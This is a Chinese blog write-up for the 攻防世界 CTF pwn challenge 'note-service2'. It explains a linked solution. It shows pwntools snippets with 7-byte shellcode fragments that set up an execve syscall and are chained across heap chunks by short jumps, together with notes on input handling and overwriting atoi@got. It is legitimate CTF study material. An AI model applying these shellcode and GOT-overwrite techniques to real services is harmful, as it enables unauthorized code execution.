【PWN系列】攻防世界 pwn note-service2题目分析

主要题解:https://blog.csdn.net/seaaseesa/article/details/103003167

这篇文章写已经是不错的了,这里主要写一下我对上面那篇文章的理解

1、以下code0code3的长度都是七个字节。不足七个字节的用\x90填充。90机器码所代表的汇编指令是nop。因为我们跳转的时候用的是相对偏移跳转,所以必须要填充为七个字节,否则偏移要重新计算了。

code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')  
#rax = 0x3B jmp short next_chunk  
code1= (asm('mov eax,0x3B') + '\xeb\x19')  
#rsi = 0 jmp short next_chunk  
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
#rdi = 0 jmp short next_chunk  
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19') 

2、这里需要注意的是sh.sendafter('content:',content),这里没有用sendlineafter是因为sendlineafter会在发送的字符串末尾加一个\n。加上\n之后,你其实发送的就是八个字节。

def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('index:',str(index))  
   sh.sendlineafter('size:',str(size))  
   sh.sendafter('content:',content)  

仔细看循环可以发现,当你想写入八个字节的时候,循环只循环了七次,只接收了七个字节,还有一个字节在缓冲区中,当下次read读取的时候回直接读取第八个字节,即\n。然后跳出循环(v4的值是10,ascii对应的就是\n),然后retur一个换行

在这里插入图片描述
所以当你输入七个a的时候,再加一个换行,就会直接返回一个invalid choice

在这里插入图片描述

3、第一次新建笔记的时候创建了a*7。如果第一次直接修改atoi@got的话,会导致之后创建note的时候直接报错。

create(0,8,'a'*7)  

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/109193810
pwn
今日推荐